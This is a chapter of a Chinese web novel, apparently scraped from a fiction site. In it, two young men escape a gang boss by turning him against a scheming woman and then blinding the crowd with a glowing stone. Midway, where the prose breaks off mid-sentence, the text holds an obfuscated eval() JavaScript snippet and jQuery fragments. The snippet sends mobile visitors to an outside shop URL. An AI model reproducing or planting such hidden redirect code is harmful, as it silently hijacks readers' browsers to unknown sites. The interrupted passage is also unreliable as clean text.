文趣网 > 其他小说 > 植物观察笔记 > 7. 挑拨离间
    俞央心中一紧,大叫:“快跑!”却足下一跌,心口剧痛难当。

    殷汀惊道:“俞央!”一手搂住他腰,将俞央揽到自己身上。

    殷汀反应迅捷,挟着俞央,眼看就要触到车门,女人慢悠悠起身,抄起酒瓶往俞央膝弯一掷,俞央登时双膝一麻,不受控制地向前栽去。殷汀自然也跟着一个踉跄,勉力稳住身形,两人才不至摔倒在地。

    女人嘻嘻笑道:“哎呀,你们小心呀。”说着,夺步上前,一把扯住俞央后领,要将他往后摔去。

    殷汀反手擒住女人手腕,这一手还不及甩脱,女人又左手下探,钳住殷汀手腕。她出手并不狠辣,却决意要与殷汀纠缠。

    几个回合下来,女人始终摆脱不掉,水蛇一般,紧紧缠着两人。殷汀脸上难得露出焦急的神色,俞央听得鸣笛声越来越近,刺眼的灯光不断打在两人身上,远处的人影在灯光下不断拉长,一个一个的人头从地上漫到两人脚边。

    俞央心知要来不及了,撑着一口气,趁女人不备,一把抓住她的手腕咬了下去。只听“嘶”的一声痛呼,殷汀终于甩脱了女人,然而不及上车,灯光已至近前,人影如潮,将他们团团围住。

    片刻后,北边的包围圈破开一道口子,驶来一辆鹰型大车,车门幽幽开启,从车里下来两人,垂首侍立在车边,不过片刻,又从车里下来一人,此人身形精瘦,两鬓斑白,双目却炯炯有神,扫了一眼俞央殷汀,不疾不徐地朝他们踱来。先前下来那两人一左一右跟在他身后。

    俞央眼看三人迫近,又有女人环伺在旁,当真难逃生天。这时,殷汀挡住了他的视线,口中关切道:“俞央,还好么?”抬手抚上他面颊,一颗药丸悄悄喂入他口中。

    一人道:“喂!你们这俩小子,看见我们金老大过来,还不快跪下来给他老人家磕头,求我们老大饶你们一命……”

    殷汀见俞央将药吞下,这才转过身,缓缓抬眼,看向说话那人。那人站在金老大右侧,名叫陈辉。他惯会阿谀奉承又善于钻营,加入这伙人没两年便成为了金老大的左右手,从“小辉”一路成为“辉哥”。他本身并无多大本领,此刻被殷汀这么一盯,不自禁打了个激灵,口中的话就此止住。倒是金老大左侧那人一直沉默不言,见他陡然收声,淡淡瞥他一眼,露出一丝嘲讽。

    俞央吞下药后,心口剧痛缓解了大半,他留心观察,看出左右两人不合,又见右侧那人对殷汀似有畏惧,不禁跟着抬眸看向殷汀,殷汀本就长相阴郁,又因被骗极为不悦,此刻陈辉出言威胁,殷汀冷哼一声,心头怒气有了发泄口,一双眼直勾勾盯向陈辉。额前碎发在眼下投落一片阴影,也遮不住他那双凌厉的眼睛,整个人冷若冰霜、深不可测,的确足够唬人。

    金老大虽然不动声色,目光却也在殷汀脸上停留了片刻。突然,眼前闪过一道魁梧的身影,俞央定睛一看,正是那个壮汉。只见壮汉跟在金老大一众小弟后面,望见女人,面色一喜,当即脱离队伍向女人走去。

    壮汉在走到金老大身边时,脚步一顿。金老大扭头对他笑笑,他却理也不理。女人白他一眼,快步跑来,喝道:“你眼瞎了吗?怎么不和金老大打招呼!”拉着他的手,对金老大点头哈腰道:“金老大,他是个傻子,您别生气。”

    金老大哼哼两声,下巴一昂,全然没将女人放在眼里。壮汉被女人按着向金老大鞠躬本就极不情愿,一听这声哼,立即直起腰,瞪眼看向金老大。

    金老大左侧那人不着痕迹地将金老大挡在身后,陈辉嚷道:“干什么?干什么?再瞪眼把你眼珠子剜下来!”

    壮汉攥紧拳头,就要动手,被女人狠狠一掐胳膊,拉向一旁,陪笑道:“辉哥,别和傻子置气,不然掉了您的身份。”

    俞央暗想:“这女人当真心机深沉,被当众羞辱还能笑吟吟的。”又朝壮汉望了一眼,心想:“若论面皮功夫,两人可谓是云泥之别。”转念一想,又有些奇怪:“在金老大眼中,这壮汉竟比女人还要有分量,对他还挺包容亲近。可这壮汉明显只听女人的话,对金老大爱答不理。这可真奇了。”

    正思量间,一个苍老嘶哑的声音响起:“小子,听小刀说你们身上有许多宝贝,我们都是讲道理的人,你们贸然闯进我的地盘,这过路费、住宿费、餐费等等是不是要算一下?”

    说话这人正是金老大。金老大说得不疾不徐,俞央听得瞠目结舌,心道:“……这老东西真不要脸。”

    陈辉横了殷汀一眼,恶声恶气道:“天下没有免费的午餐,你们休想吃白食!”他方才自觉丢了面子,此刻金老大开口,他下意识站了出来,充当马前卒:“识相的就把宝贝交出来。”

    殷汀却不理睬他,直视金老大:“你和那女人是一伙的,你们的话不可信。”

    陈辉见殷汀居然看也没看自己一眼,怒不可遏,张嘴要骂,却被俞央抢道:“就是!她原先还说要和我们合作,你看现在,转眼就把我们卖了。”

    俞央故意将话说得模糊不清,一心想着先将这潭水搅浑搅乱再说。

    女人闻言愣了一下,壮汉知晓女人性情多变,只是不知女人何时与他们达成了合作,脱口道:“段姐,这是真的么?”

    金老大也是一愣,目光从俞央、殷汀、壮汉脸上一一扫过,最后落在女人身上,眯了眯眼。

    女人的嘴角不可抑制地抽搐一下,抢白道:“先不说我有没有与你们谈过合作,我将金老大叫来,足以表明我的决心。况且金老大明察秋毫,在金老大面前,你们别想耍什么手段!”

    金老大眼中闪过一丝得意,显然对女人的话颇为受用,拖着嗓子道:“哼,小伙子倒是诡计多端,居然挑拨到我头上来了,可惜道行不够,老头子不上你的当。哼哼,乖乖将宝贝交出来,我还能留你们一条命。”

    俞央看了金老大一眼,别有深意地摇头一笑,转头望向女人:“耍手段?呵,你也知道我们还有手段没用,才会叫金老大过来吧。”

    他这句全然是在挑拨,他看出来金老大并不将女人放在眼里,而女人看来是想要借助金老大的势力,一旦他们上下一心,他与殷汀势必逃无可逃,只能死死抓住女人的话头不放,不放过任何一个挑拨的机会。

    却不想他这句话竟是瞎猫碰上死耗子,歪打正着。

    壮汉大惊失色:“你怎么知道?!”

    金老大一听此言,嘴边的笑容凝滞了,转头看向女人,厉声道:“什么手段?段如意你敢骗我?!”

    俞央这才知道原来女人叫段如意。

    壮汉面色一白,反应过来自己说错了话,连连摆手:“没有,段姐怎么会骗你……”

    段如意深吸一口气,笑吟吟地转向金老大,似乎想要解释。俞央哪能让她开口,眼珠滴溜溜一转,道:“段姐,你这可就不厚道了,你知道我们的厉害,自己不敢出马,就找金老大过来作你的马前卒。”

    金老大虽然恨不得让段如意立时交代清楚,但听俞央将他比作“马前卒”,面皮狠狠抽动两下,顾不得逼问,瞪眼向俞央道:“哼哼,‘马前卒’?小子真是不知天高地厚,这儿是我的地盘,哪容你在这里大放厥词?”

    俞央忙赔不是:“是是是,您教训的是,是我出言不逊。金老大您威武不凡、才智过人,不然不会成为这片区域的老大,手底下还有这么一群忠心勇猛的手下,我是衷心地佩服您。”

    金老大的神色这才稍作缓和,他底下的人听后,挑眉看了俞央一眼,纷纷挺起胸脯。俞央又忙续道:“金老大,我猜段如意只告诉您我们有宝贝,是以才让小刀请您过来,对么?她以为自己很聪明,就可以肆无忌惮地戏耍您,戏耍我们,可打错了算盘。”

    段如意呼叱道:“你在挑……”“拨”字还未说出口,金老大端目凝视俞央,打断了她的话:“这话怎么说?”

    俞央道:“您想,如果我们真有宝贝,依她的品性,自己悄悄独吞还不来及,又怎会找人跑老远去告知您?她见识过我们的厉害,所以不敢轻举妄动,却又在与我们达成合作后,叫您过来对付我们,到底安的什么心?……”

    壮汉再也听不下去,插口道:“你给我闭嘴!金老大,这小子在挑拨离间,你可别着了他的道,段姐……段姐才不会害你呢……”

    金老大乜眼瞅向壮汉,一双眼似笑非笑,若说之前他对俞央的话半信半疑,在听到壮汉的话后,已然信了九分,幽幽道:“哦,她不会害我?”

    段如意额角突突直跳,恨不得一口吃了这个没脑子的东西,厉声喝道:“闭嘴!”

    壮汉一怔,脸上满是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774609|209996||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    茫然与不知所措,依言闭嘴。

    金老大阴恻恻地道:“小刀啊,多少年了,你还是不会说谎,一说谎就结巴。你别忘了你是从我这里出去的人,大伙儿叫你一声‘刀哥’,那不是你有本事,是看我的面子上。谁知你却不知感恩,去学你爸妈,背叛我!小刀啊小刀,你好好的前程不要,跑到这个地方给这个女人使唤,还想和她一块害我?”

    壮汉震惊地抬起头,眼中满是愤恨:“明明是你害我……”第七个字还未出口,只听啪的一响,段如意重重甩了他一个耳光:“让你闭嘴没听见么!”

    段如意朝金老大微微躬身,道:“金老大,我父亲死后,若不是您照顾我,我哪能活到现在,我一直称您为老大,是因为您就是我老大。您是看着我长大的,咱们之间怎好因这小子的三言两语而生出嫌隙。至于他说我利用他们害您,那更是无稽之谈。您想,这两个小子要是真有本事,早就将我们一一收拾了,又怎会千方百计地来与我们纠缠,必然是虚张声势,诈我们呢。”

    她眼含热泪,看来真挚无比:“您老就是我的再生父母,我这个做孩子的,一看见好东西喜不自胜,自然一心想要孝敬您,才让小刀将您请来,殊不知让这小子一通胡搅蛮缠,竟说我要害您。方才我一听他说,当场懵住了……”说道此处,眼眶中的泪水越聚越多,滚滚落下。

    金老大的小弟们听后无不动容,又见段如意声泪俱下、情真意切,当即生出一股怜惜之意,纷纷朝俞央递来眼刀。更有甚者摩拳擦掌,想要教训俞央,替段如意出气。

    俞央在一旁不住感叹:“这女人不仅聪明狡诈,还会演戏,又会拿捏人心。唉,我一个家里蹲的抑郁社恐怎么能斗得过她?”他心中闪电般转过无数念头,最后居然有些佩服段如意。

    这边,金老大连连点头,他并不如何动容,只是段如意捧他的一席话让他颇为受用。加上他从没将段如意放在眼里,自然也对段如意会害自己不以为然,心想:“就算她要害我,我也能制住她。”转念一想:“若段如意和这俩人真的合作过,如今撕破了脸,嘻嘻,也是一番好戏。我不表明态度,且看他们如何相斗,说不准还能诈出一些东西来。”

    他于是长叹一声,演起慈祥的长辈来,装模作样地安抚道:“唉,好孩子,好孩子,我也不知道该信哪边了。你俩小子口口声声说自己厉害,小段是害怕你们才拉我过来,既然如此,你们有什么厉害手段就亮出来罢,让大伙开开眼。”

    俞央淡然一笑,实则脑中早已乱作一团,他们哪有什么厉害手段?只得拼命想办法,却是越急越乱,最后脑中胡闹地蹦出一句:“人终有一死……”

    就在这千钧一发之际,殷汀站了出来,冷然道:“这可是你说的。”握住了俞央的手,悄声道:“闭眼。”

    俞央一怔还是乖乖闭眼,在他眼帘阖上的瞬间,殷汀右手上举,能量石的光亮从指缝间探出,起初光亮并不强烈,微若萤火。一秒后,已亮如车灯。再一秒,亮度较之前又强十倍。

    段如意见状不对,杵了杵小刀让他闭上眼睛。金老大、陈辉等人见势不妙也忙将眼闭上。金老大喊道:“大家快闭眼!”然而已来不及,就在殷汀手臂高举过头顶的刹那,一阵强光冲天,方圆十里瞬间亮如白昼。

    纵然俞央已有防备,还是眼前一花,强光仿佛能刺透眼皮,亮得他心慌,他赶忙伸手遮住双眼,后背、头皮均渗出一层热汗,耳边是一声声惨叫。

    强光过去,半晌,俞央才睁开了眼,一堆人失声惨叫:“啊啊啊——我的眼睛!”

    只见里面一圈离得近的趴在地上,倒地不起。站着的人也是双手掩面、东摇西晃。而段如意、金老大、陈辉等人因闭眼及时,除了有些恍惚外,并无太大不适。

    众人见识过殷汀的厉害后,皆是凛然心惊。金老大兀自双手掩面,颤声道:“……你这是什么东西?”

    殷汀缓缓睁眼,心知言多必失,冷哼一声,撇过脸去。俞央趁机道:“啧啧啧,段姐,你还真没告诉金老大我们的厉害。唉,当初可是你见我们有许多法宝,你奈何我们不得,才与我们结成同盟,计划吞并金老大的势力。你向我们承诺,事成之后财宝势力咱们四个五五分成。哼哼,当初结成盟约的信物还在你手中,你怎能翻脸不认人?”